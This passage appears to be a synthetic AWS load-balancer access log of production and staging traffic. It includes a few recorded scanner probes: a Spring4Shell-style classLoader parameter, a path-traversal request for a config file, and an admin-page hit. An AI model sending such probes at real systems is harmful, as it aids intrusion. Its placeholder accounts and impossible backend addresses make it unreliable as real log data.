(Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c036-238d1dd0c10d4ea8bd135e77" "staging-alb.example.com" "-" 8 2024-11-01T00:36:54.495854Z "forward" "-" "-" "46.87.97.9:8080" "301" "-" "-" -http 2024-11-01T00:36:56.263311Z staging-alb 166.97.130.45:58055 240.235.48.132:80 0.145368 0.042468 0.130911 200 200 977 14870 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c038-9cd62b17139f4435a5b1e436" "staging-alb.example.com" "-" 0 2024-11-01T00:36:56.263311Z "forward" "-" "-" "240.235.48.132:80" "200" "-" "-" -http 2024-11-01T00:36:58.221765Z staging-alb 92.158.56.128:54993 184.81.137.63:80 0.112695 0.682039 0.002590 302 302 88 907 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c03a-dfc93f81157548aa9191dbd1" "staging-alb.example.com" "-" 8 2024-11-01T00:36:58.221765Z "forward" "-" "-" "184.81.137.63:80" "302" "-" "-" -https 2024-11-01T00:36:59.398097Z prod-web-alb 113.157.80.145:23887 10.0.69.117:443 0.013963 0.041588 0.023410 200 200 509 2685 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c03b-f2f29a04bd624c57bfa4cdc9" "prod-web-alb.example.com" "-" 7 2024-11-01T00:36:59.398097Z "forward" "-" "-" "10.0.69.117:443" "200" "-" "-" -https 2024-11-01T00:37:01.053460Z prod-api-alb 156.199.141.52:33149 10.0.234.57:443 0.095981 0.012728 0.037849 200 200 841 786 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c03d-8fc3ff2d87cb49d381d313c1" "prod-api-alb.example.com" "-" 0 2024-11-01T00:37:01.053460Z "forward" "-" "-" "10.0.234.57:443" "200" "-" "-" -https 2024-11-01T00:37:02.946238Z prod-web-alb 96.37.39.60:44870 10.0.86.232:443 0.092159 0.025728 0.094905 302 302 425 6741 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c03e-1249efbff8164eb690642ffc" "prod-web-alb.example.com" "-" 5 2024-11-01T00:37:02.946238Z "forward" "-" "-" "10.0.86.232:443" "302" "-" "-" -http 2024-11-01T00:37:04.591843Z staging-alb 157.21.95.36:12455 22.181.153.98:8080 0.048879 0.491628 0.116410 200 200 687 8724 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c040-887c334824f9411e9b43794f" "staging-alb.example.com" "-" 7 2024-11-01T00:37:04.591843Z "forward" "-" "-" "22.181.153.98:8080" "200" "-" "-" -https 2024-11-01T00:37:05.491943Z prod-web-alb 114.109.221.155:64260 10.0.224.201:443 0.080047 0.404891 0.067748 200 200 185 2134 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c041-c21fc1d185474749831160e3" "prod-web-alb.example.com" "-" 1 2024-11-01T00:37:05.491943Z "forward" "-" "-" "10.0.224.201:443" "200" "-" "-" -https 2024-11-01T00:37:07.099850Z prod-api-alb 36.1.33.29:13020 10.0.190.104:443 0.053947 0.153068 0.004765 200 200 339 9501 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c043-e5cc870bd3c9445dab4b4692" "prod-api-alb.example.com" "-" 1 2024-11-01T00:37:07.099850Z "forward" "-" "-" "10.0.190.104:443" "200" "-" "-" -https 2024-11-01T00:37:08.085820Z prod-api-alb 24.117.180.187:31075 10.0.100.108:443 0.027412 0.015902 0.018576 200 200 558 13221 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c044-91cf24a8d2c34882ad7d0b37" "prod-api-alb.example.com" "-" 10 2024-11-01T00:37:08.085820Z "forward" "-" "-" "10.0.100.108:443" "200" "-" "-" -https 2024-11-01T00:37:09.534515Z prod-api-alb 97.161.115.5:64247 10.0.86.248:443 0.036888 0.310078 0.069675 200 200 547 8335 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c045-b5d52e18ee834d3d82c06acd" "prod-api-alb.example.com" "-" 8 2024-11-01T00:37:09.534515Z "forward" "-" "-" "10.0.86.248:443" "200" "-" "-" -https 2024-11-01T00:37:11.015240Z prod-api-alb 183.100.106.227:12248 10.0.27.85:443 0.001661 0.252078 0.066276 302 302 436 11108 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c047-9ff8b7e1daf34b06b365bd97" "prod-api-alb.example.com" "-" 1 2024-11-01T00:37:11.015240Z "forward" "-" "-" "10.0.27.85:443" "302" "-" "-" -https 2024-11-01T00:37:12.392841Z prod-api-alb 6.24.148.250:29059 10.0.31.174:443 0.085754 0.476683 0.056983 200 200 828 3750 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c048-ab35c6b6683244a69bcba125" "prod-api-alb.example.com" "-" 1 2024-11-01T00:37:12.392841Z "forward" "-" "-" "10.0.31.174:443" "200" "-" "-" -https 2024-11-01T00:37:13.457127Z staging-alb 45.155.205.9:11504 239.224.211.146:80 0.116512 0.102706 0.092648 404 404 995 6967 "POST /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c049-57bb32e260fa4f208bd44de0" "-" "-" 5 2024-11-01T00:37:13.457127Z "forward" "-" "-" "239.224.211.146:80" "404" "-" "-" -https 2024-11-01T00:37:14.147324Z prod-api-alb 200.179.58.191:48565 10.0.4.207:443 0.029705 0.090819 0.087835 200 200 493 1100 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c04a-4433423609c94ccaae7352a7" "prod-api-alb.example.com" "-" 5 2024-11-01T00:37:14.147324Z "forward" "-" "-" "10.0.4.207:443" "200" "-" "-" -https 2024-11-01T00:37:16.121422Z prod-api-alb 28.125.221.101:21079 10.0.38.133:443 0.081308 0.172347 0.072487 200 200 785 7154 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c04c-7e91aa48dcc34d8497b6362e" "prod-api-alb.example.com" "-" 6 2024-11-01T00:37:16.121422Z "forward" "-" "-" "10.0.38.133:443" "200" "-" "-" -https 2024-11-01T00:37:17.393140Z prod-web-alb 78.113.77.143:40185 10.0.17.165:443 0.045865 0.467559 0.093809 200 200 524 9051 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c04d-726512e3b5c44870b76a4405" "prod-web-alb.example.com" "-" 9 2024-11-01T00:37:17.393140Z "forward" "-" "-" "10.0.17.165:443" "200" "-" "-" -https 2024-11-01T00:37:18.615782Z prod-web-alb 125.228.122.72:19926 10.0.115.45:443 0.008829 0.339750 0.069633 301 301 755 7030 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c04e-ef0529df5979423b8626a67d" "prod-web-alb.example.com" "-" 6 2024-11-01T00:37:18.615782Z "forward" "-" "-" "10.0.115.45:443" "301" "-" "-" -https 2024-11-01T00:37:19.487715Z prod-web-alb 55.194.13.174:46305 10.0.133.143:443 0.017594 0.426088 0.022458 404 404 176 7841 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c04f-d0399f12eb444cdd93721055" "prod-web-alb.example.com" "-" 1 2024-11-01T00:37:19.487715Z "forward" "-" "-" "10.0.133.143:443" "404" "-" "-" -https 2024-11-01T00:37:19.683059Z prod-web-alb 171.160.77.92:27934 10.0.170.237:443 0.099617 0.237430 0.029585 302 302 85 7880 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c04f-e96088fbbd6b4e38904f8815" "prod-web-alb.example.com" "-" 9 2024-11-01T00:37:19.683059Z "forward" "-" "-" "10.0.170.237:443" "302" "-" "-" -https 2024-11-01T00:37:21.045577Z prod-api-alb 193.27.228.181:55613 10.0.42.250:443 0.072899 0.014506 0.059230 404 404 890 1211 "GET /api/../../../config HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c051-2bc1c963056e409cb4184f51" "-" "-" 2 2024-11-01T00:37:21.045577Z "forward" "-" "-" "10.0.42.250:443" "404" "-" "-" -https 2024-11-01T00:37:22.349918Z prod-api-alb 170.75.68.28:33077 10.0.10.58:443 0.069792 0.304050 0.052370 301 301 6 11330 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c052-9f374769820b407c8ede7bfa" "prod-api-alb.example.com" "-" 3 2024-11-01T00:37:22.349918Z "forward" "-" "-" "10.0.10.58:443" "301" "-" "-" -https 2024-11-01T00:37:23.302216Z prod-web-alb 207.44.155.121:22833 10.0.168.89:443 0.007210 0.311851 0.032219 302 302 280 9572 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c053-a35eff49158149e4bf5a9d40" "prod-web-alb.example.com" "-" 7 2024-11-01T00:37:23.302216Z "forward" "-" "-" "10.0.168.89:443" "302" "-" "-" -https 2024-11-01T00:37:25.279527Z prod-web-alb 210.47.54.138:53470 10.0.238.152:443 0.049951 0.336000 0.038059 302 302 85 5056 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c055-6c7b2b59f9504c68a5eaef65" "prod-web-alb.example.com" "-" 8 2024-11-01T00:37:25.279527Z "forward" "-" "-" "10.0.238.152:443" "302" "-" "-" -https 2024-11-01T00:37:26.699972Z staging-alb 124.198.202.190:47251 154.175.13.154:8080 0.030270 0.450519 0.131662 200 200 401 11258 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c056-94a870e0229d4035b8de2e66" "staging-alb.example.com" "-" 4 2024-11-01T00:37:26.699972Z "forward" "-" "-" "154.175.13.154:8080" "200" "-" "-" -https 2024-11-01T00:37:28.419622Z staging-alb 128.152.32.180:57684 5.5.64.86:80 0.091593 0.266438 0.139663 200 200 934 8409 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c058-35fc27a3d9be4c1888199670" "staging-alb.example.com" "-" 3 2024-11-01T00:37:28.419622Z "forward" "-" "-" "5.5.64.86:80" "200" "-" "-" -https 2024-11-01T00:37:29.005298Z prod-web-alb 21.145.220.12:48448 10.0.45.58:443 0.003168 0.119493 0.047531 200 200 196 478 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c059-903ef05e815a42c189073a36" "prod-web-alb.example.com" "-" 5 2024-11-01T00:37:29.005298Z "forward" "-" "-" "10.0.45.58:443" "200" "-" "-" -https 2024-11-01T00:37:29.928239Z prod-api-alb 111.151.7.102:38914 10.0.61.106:443 0.058173 0.189531 0.027514 404 404 185 1657 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c059-7936c798da3b4f60815b501f" "prod-api-alb.example.com" "-" 3 2024-11-01T00:37:29.928239Z "forward" "-" "-" "10.0.61.106:443" "404" "-" "-" -https 2024-11-01T00:37:30.693068Z prod-api-alb 125.245.119.181:39817 10.0.230.210:443 0.061220 0.335517 0.086871 200 200 99 6813 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c05a-64d604f656034224b7794193" "prod-api-alb.example.com" "-" 2 2024-11-01T00:37:30.693068Z "forward" "-" "-" "10.0.230.210:443" "200" "-" "-" -https 2024-11-01T00:37:32.501958Z staging-alb 75.200.240.203:12261 241.200.73.127:80 0.029327 0.608835 0.091338 404 404 286 763 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c05c-918d1c80be12411985ca8787" "staging-alb.example.com" "-" 5 2024-11-01T00:37:32.501958Z "forward" "-" "-" "241.200.73.127:80" "404" "-" "-" -https 2024-11-01T00:37:33.998587Z prod-api-alb 122.36.222.80:57768 10.0.15.225:443 0.054898 0.303293 0.076300 404 404 664 12623 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c05d-d58fdd47d483419f8f86284d" "prod-api-alb.example.com" "-" 3 2024-11-01T00:37:33.998587Z "forward" "-" "-" "10.0.15.225:443" "404" "-" "-" -http 2024-11-01T00:37:34.141905Z staging-alb 204.59.162.203:52153 71.90.201.16:8080 0.021127 0.312310 0.149750 200 200 149 9819 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c05e-66ea01e0c9ec41dd958ecca6" "staging-alb.example.com" "-" 4 2024-11-01T00:37:34.141905Z "forward" "-" "-" "71.90.201.16:8080" "200" "-" "-" -https 2024-11-01T00:37:34.687010Z prod-api-alb 141.33.56.191:57062 10.0.24.57:443 0.041442 0.316089 0.040615 301 301 738 3315 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c05e-681ba158d300498d9c8ba100" "prod-api-alb.example.com" "-" 4 2024-11-01T00:37:34.687010Z "forward" "-" "-" "10.0.24.57:443" "301" "-" "-" -https 2024-11-01T00:37:36.260831Z staging-alb 12.239.147.79:16526 12.210.18.22:8080 0.108632 0.531838 0.045343 200 200 451 7610 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c060-d5e0584870c742af8db436e3" "staging-alb.example.com" "-" 2 2024-11-01T00:37:36.260831Z "forward" "-" "-" "12.210.18.22:8080" "200" "-" "-" -https 2024-11-01T00:37:37.535528Z prod-web-alb 149.52.6.216:64825 10.0.225.176:443 0.041141 0.115979 0.061700 302 302 936 6610 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c061-895a41c41c1940d3aa90961b" "prod-web-alb.example.com" "-" 1 2024-11-01T00:37:37.535528Z "forward" "-" "-" "10.0.225.176:443" "302" "-" "-" -https 2024-11-01T00:37:38.388708Z prod-api-alb 196.237.210.94:30144 10.0.237.39:443 0.050268 0.248353 0.044165 200 200 258 9986 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c062-8f91fe6b132e4398a3f2e01b" "prod-api-alb.example.com" "-" 4 2024-11-01T00:37:38.388708Z "forward" "-" "-" "10.0.237.39:443" "200" "-" "-" -https 2024-11-01T00:37:39.579185Z prod-web-alb 32.109.66.109:51467 10.0.6.1:443 0.084122 0.189080 0.014141 200 200 488 3053 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c063-4f61dc48c2204f7f857808bb" "prod-web-alb.example.com" "-" 5 2024-11-01T00:37:39.579185Z "forward" "-" "-" "10.0.6.1:443" "200" "-" "-" -https 2024-11-01T00:37:39.773403Z prod-web-alb 214.98.24.130:10318 10.0.173.94:443 0.044562 0.335751 0.004869 404 404 414 537 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c063-90d72d72e88b4237824b9a1a" "prod-web-alb.example.com" "-" 7 2024-11-01T00:37:39.773403Z "forward" "-" "-" "10.0.173.94:443" "404" "-" "-" -https 2024-11-01T00:37:40.406631Z prod-web-alb 181.0.72.9:14640 10.0.37.243:443 0.072975 0.100256 0.056534 404 404 958 12994 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c064-939a971219024791b33eefcf" "prod-web-alb.example.com" "-" 7 2024-11-01T00:37:40.406631Z "forward" "-" "-" "10.0.37.243:443" "404" "-" "-" -http 2024-11-01T00:37:41.356123Z staging-alb 124.120.236.75:33441 135.140.25.105:443 0.109446 0.723169 0.008291 200 200 396 10810 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c065-46e7c2790bd344b494b2fe7b" "staging-alb.example.com" "-" 7 2024-11-01T00:37:41.356123Z "forward" "-" "-" "135.140.25.105:443" "200" "-" "-" -https 2024-11-01T00:37:41.633559Z prod-api-alb 26.176.41.16:23941 10.0.63.182:443 0.053371 0.116538 0.094452 200 200 34 9715 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c065-b39678ea47744275ad79b01f" "prod-api-alb.example.com" "-" 4 2024-11-01T00:37:41.633559Z "forward" "-" "-" "10.0.63.182:443" "200" "-" "-" -https 2024-11-01T00:37:42.926936Z prod-web-alb 47.76.204.244:45216 10.0.252.51:443 0.029827 0.024554 0.035961 200 200 321 7979 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c066-aaafc277cac8440fbff679c3" "prod-web-alb.example.com" "-" 6 2024-11-01T00:37:42.926936Z "forward" "-" "-" "10.0.252.51:443" "200" "-" "-" -https 2024-11-01T00:37:44.391568Z prod-web-alb 209.202.220.171:64948 10.0.37.109:443 0.006531 0.448152 0.048082 301 301 469 12632 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c068-1f62f66df2e4427cb985ad0e" "prod-web-alb.example.com" "-" 10 2024-11-01T00:37:44.391568Z "forward" "-" "-" "10.0.37.109:443" "301" "-" "-" -http 2024-11-01T00:37:45.916492Z staging-alb 100.208.221.123:29418 251.42.96.189:80 0.084207 0.611937 0.121052 200 200 960 12145 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c069-9ef0021b8c654b2daf8a6807" "staging-alb.example.com" "-" 8 2024-11-01T00:37:45.916492Z "forward" "-" "-" "251.42.96.189:80" "200" "-" "-" -https 2024-11-01T00:37:46.450281Z prod-api-alb 193.27.228.87:23328 10.0.34.194:443 0.076611 0.104202 0.091168 401 401 635 455 "GET /admin HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c06a-fc9ef653957f42d18482850b" "-" "-" 10 2024-11-01T00:37:46.450281Z "forward" "-" "-" "10.0.34.194:443" "401" "-" "-" -https 2024-11-01T00:37:47.747873Z prod-api-alb 32.209.67.57:25534 10.0.247.234:443 0.092460 0.348813 0.009942 302 302 766 11110 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c06b-8bf674c50935446e9316991c" "prod-api-alb.example.com" "-" 2 2024-11-01T00:37:47.747873Z "forward" "-" "-" "10.0.247.234:443" "302" "-" "-" -https 2024-11-01T00:37:48.616502Z prod-api-alb 239.105.116.91:61192 10.0.30.63:443 0.050475 0.107561 0.097958 404 404 257 4357 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c06c-b190781eec7c4a868b16327d" "prod-api-alb.example.com" "-" 0 2024-11-01T00:37:48.616502Z "forward" "-" "-" "10.0.30.63:443" "404" "-" "-" -http 2024-11-01T00:37:49.808968Z staging-alb 65.103.53.229:16682 66.198.138.205:80 0.057852 0.104570 0.007041 302 302 283 5462 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 